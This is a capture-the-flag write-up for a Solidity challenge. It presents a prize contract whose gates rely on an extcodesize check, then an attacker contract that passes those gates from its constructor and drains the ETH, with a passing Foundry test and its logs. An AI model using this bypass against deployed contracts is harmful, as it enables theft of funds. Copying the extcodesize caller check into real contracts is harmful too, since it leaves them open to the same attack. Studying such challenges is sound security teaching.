Double_or_nothing
🚩 Challenge
You are given a smart contract DoubleOrNothing that holds 2 ETH as prize money. The goal is to:
- Call
enter()and pass 3 logic gates. - If successful, call
win()to transfer the 2 ETH prize to yourself.
Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DoubleOrNothing {
address public winner;
bool public passed;
constructor() payable {
require(msg.value == 2 ether, "Seed with 2 ETH prize");
}
modifier gate1() {
require(msg.sender != tx.origin, "No EOAs allowed"); // Must be contract
_;
}
modifier gate2() {
require(msg.value == 1 ether, "Wrong amount"); // Must send 1 ETH
_;
}
modifier gate3() {
address sender = msg.sender;
uint256 size;
assembly {
size := extcodesize(sender)
}
require(size == 0, "Code size must be 0"); // No deployed code allowed
_;
}
function enter() external payable gate1 gate2 gate3 {
passed = true;
}
function win() external {
require(passed, "You haven't passed the gates");
winner = msg.sender;
payable(msg.sender).transfer(address(this).balance);
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
Vulnerability Explained
The enter() function has three "gates":
| Gate | Requirement | Bypass Strategy |
|---|---|---|
gate1 | Must be called by a contract | Use a smart contract |
gate2 | Must send exactly 1 ETH | Send 1 ETH during deployment |
gate3 | extcodesize(msg.sender) == 0 | Call from contract during constructor |
During a contract’s constructor, extcodesize(this) returns 0 because the contract is not deployed yet. This is the loophole.
Attacker Contract
interface IDoubleOrNothing {
function enter() external payable;
}
contract Attacker {
DoubleOrNothing public d;
constructor(address target) payable {
require(msg.value == 1 ether, "Need to send 1 ETH");
// Call enter() during constructor
IDoubleOrNothing(target).enter{value: 1 ether}();
// Call win() after passing all gates
d = DoubleOrNothing(target);
d.win();
}
function KnowBalance() public view returns (uint256) {
return address(this).balance;
}
receive() external payable {}
}
Foundry Test Case
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {DoubleOrNothing, Attacker} from "../src/Counter.sol";
contract DoubleOrNothingTest is Test {
DoubleOrNothing public game;
Attacker public attackerContract;
address public deployer = address(0x1234);
function setUp() public {
vm.deal(deployer, 2 ether);
vm.prank(deployer);
game = new DoubleOrNothing{value: 2 ether}();
console.log("Game contract deployed at:", address(game));
console.log("Game initial balance:", address(game).balance);
}
function test_attackUsingConstructor() public {
vm.deal(address(this), 1 ether);
console.log("Deploying attacker contract...");
attackerContract = new Attacker{value: 1 ether}(address(game));
console.log("Attacker contract address:", address(attackerContract));
console.log("Game balance after attack:", address(game).balance);
console.log("Attacker contract balance:", address(attackerContract).balance);
console.log("Winner recorded in contract:", game.winner());
assertTrue(game.passed(), "Gates not passed");
assertEq(game.winner(), address(attackerContract), "Wrong winner");
assertEq(address(game).balance, 0, "Contract still holds ETH");
assertEq(address(attackerContract).balance, 3 ether, "Attacker didn't receive prize");
}
}
Test Output
forge test -vvv
[PASS] test_attackUsingConstructor() (gas: 225829)
Logs:
Game contract deployed at: 0xFa0F...
Game initial balance: 2000000000000000000
Deploying attacker contract...
Attacker contract address: 0x5615...
Game balance after attack: 0
Attacker contract balance: 3000000000000000000
Winner recorded in contract: 0x5615...
Suite result: ok. 1 passed; 0 failed; 0 skipped.
Summary
| Status | |
|---|---|
| Target Contract | Deployed with 2 ETH |
| Exploit Strategy | Call enter() in constructor |
| Outcome | Attacker wins and gets full 2 ETH |
| Bug Type | Constructor-time extcodesize bypass |